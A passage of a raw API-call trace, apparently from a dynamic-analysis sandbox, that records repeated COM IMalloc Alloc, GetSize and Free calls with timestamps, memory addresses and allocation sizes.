(This=0x7ff9e7edf3f0, pv=0x2764b9e4080) returned 0x10 [0101.948] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4080) [0101.948] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e41e0 [0101.948] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e41e0) returned 0x10 [0101.949] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e41e0) [0101.949] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0101.949] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0101.950] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0101.950] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e42c0 [0101.950] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e42c0) returned 0x10 [0101.950] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e42c0) [0101.951] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4440 [0101.951] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4440) returned 0x10 [0101.951] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4440) [0101.951] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4520 [0101.951] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4520) returned 0x10 [0101.951] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4520) [0101.951] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0101.951] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0101.951] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0101.951] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4560 [0101.951] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4560) returned 0x10 [0101.952] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4560) [0101.952] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e41e0 [0101.952] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e41e0) returned 0x10 [0101.952] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e41e0) [0101.952] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4480 [0101.952] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4480) returned 0x10 [0101.952] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4480) [0101.952] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0101.952] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0101.953] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0101.953] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0101.953] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.154] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.154] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5dc0 [0102.154] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5dc0) returned 0x10 [0102.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5dc0) [0102.158] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.158] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.162] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.162] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5dc0 [0102.162] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5dc0) returned 0x10 [0102.166] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5dc0) [0102.166] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.166] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.170] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.170] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5dc0 [0102.170] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5dc0) returned 0x10 [0102.171] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5dc0) [0102.171] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.171] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.172] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.172] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.172] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.173] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.173] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.173] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.187] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.187] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.187] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.188] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.188] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.188] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.190] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.190] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.190] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.191] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.191] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e5a80 [0102.191] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5a80) returned 0x18 [0102.193] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5a80) [0102.193] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.193] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.193] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.193] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.194] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.194] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.194] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5a20 [0102.194] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5a20) returned 0x10 [0102.196] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5a20) [0102.196] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0102.196] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0102.199] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0102.199] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5dc0 [0102.199] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5dc0) returned 0x10 [0102.470] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5dc0) [0102.470] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0beb0 [0102.470] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0beb0) returned 0x8 [0102.473] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0beb0) [0102.473] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bafd160 [0102.473] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafd160) returned 0x10 [0102.477] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafd160) [0102.477] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0bb90 [0102.477] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0bb90) returned 0x8 [0102.480] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0bb90) [0102.480] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bafd280 [0102.480] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafd280) returned 0x10 [0102.482] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafd280) [0102.482] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0bb90 [0102.482] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0bb90) returned 0x8 [0102.486] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0bb90) [0102.486] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bafd160 [0102.486] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafd160) returned 0x10 [0102.487] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafd160) [0102.487] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0beb0 [0102.487] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0beb0) returned 0x8 [0102.488] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0beb0) [0102.488] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bafcf00 [0102.488] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafcf00) returned 0x10 [0102.488] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafcf00) [0102.488] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bafcf00 [0102.488] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafcf00) returned 0x10 [0102.489] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafcf00) [0102.489] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bafd280 [0102.489] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafd280) returned 0x10 [0102.490] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafd280) [0102.490] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0bbd0 [0102.490] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0bbd0) returned 0x8 [0102.491] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0bbd0) [0102.491] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bafcb00 [0102.491] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafcb00) returned 0x10 [0102.492] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafcb00) [0102.492] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bafcc20 [0102.492] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafcc20) returned 0x10 [0102.493] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafcc20) [0102.502] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764bafd160 [0102.502] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafd160) returned 0x18 [0102.503] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafd160) [0102.503] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0bcf0 [0102.503] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0bcf0) returned 0x8 [0102.503] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0bcf0) [0102.503] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0bcf0 [0102.503] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0bcf0) returned 0x8 [0102.503] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0bcf0) [0102.503] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bafd160 [0102.503] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bafd160) returned 0x10 [0102.504] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bafd160) [0102.504] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06ce0 [0102.504] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb06ce0) returned 0x20 [0102.504] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06ce0) [0102.504] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b81e930 [0102.504] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b81e930) returned 0x30 [0102.625] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b81e930) [0102.625] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b885070 [0102.625] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b885070) returned 0x48 [0102.637] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b885070) [0102.637] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ea0 [0102.637] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ea0) returned 0x8 [0102.637] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ea0) [0102.637] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb726c0 [0102.637] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb726c0) returned 0x10 [0102.638] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb726c0) [0102.638] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08de0 [0102.638] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08de0) returned 0x8 [0102.638] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08de0) [0102.638] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72240 [0102.638] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb72240) returned 0x10 [0102.639] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72240) [0102.639] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e90 [0102.639] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) returned 0x8 [0102.639] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) [0102.639] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72740 [0102.639] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb72740) returned 0x10 [0102.639] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72740) [0102.640] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c40 [0102.640] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c40) returned 0x8 [0102.640] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c40) [0102.640] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb724c0 [0102.640] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb724c0) returned 0x10 [0102.640] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb724c0) [0102.640] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e80 [0102.640] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e80) returned 0x8 [0102.641] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e80) [0102.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72680 [0102.641] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb72680) returned 0x10 [0102.641] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72680) [0102.641] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b30 [0102.641] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b30) returned 0x8 [0102.641] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b30) [0102.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b70 [0102.642] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) returned 0x8 [0102.642] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) [0102.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c70 [0102.642] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c70) returned 0x8 [0102.642] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c70) [0102.642] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e40 [0102.642] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e40) returned 0x8 [0102.643] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e40) [0102.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08be0 [0102.643] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08be0) returned 0x8 [0102.643] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08be0) [0102.643] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e00 [0102.643] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e00) returned 0x8 [0102.644] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e00) [0102.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08e90 [0102.644] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) returned 0x8 [0102.644] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08e90) [0102.644] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb723e0 [0102.644] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb723e0) returned 0x10 [0102.644] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb723e0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26410) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24b50) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24690) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24370) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad264d0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25cd0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24630) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24410) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24470) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad262b0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25cf0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad242f0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad23f90) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24430) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25f30) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26010) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad23ef0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24230) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad262f0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad21dd0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad244b0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26490) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25ff0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24210) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad260f0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad23fb0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25ed0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad264b0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad261d0) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25f50) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26610) [0102.645] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26150) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24930) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26590) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26170) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24cd0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26190) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad243f0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24b70) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad243b0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25470) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25910) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24590) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad256f0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25b10) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad259f0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25870) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad258f0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25c70) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad27350) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25df0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad274b0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad265b0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24e50) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26030) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad249d0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26050) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24750) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad26070) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad252d0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25350) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad27190) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad27270) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad271b0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25830) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25bf0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25a10) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25db0) [0102.646] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25950) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad247b0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25970) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24e90) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad246d0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25ad0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad25710) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad245b0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad23ff0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24bb0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad24a70) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50ccf0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a030) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1cf0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f14b0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829cf0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1930) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829e70) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f14e0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a330) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1360) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1420) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1810) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1510) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f18a0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f15a0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1c60) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1ae0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f18d0) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b10) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b40) [0102.647] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b70) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f15d0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1600) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1e10) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1f60) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8298b0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f22c0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f2bf0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f3220) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f2dd0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a0f0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8298f0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829eb0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f3460) [0102.648] 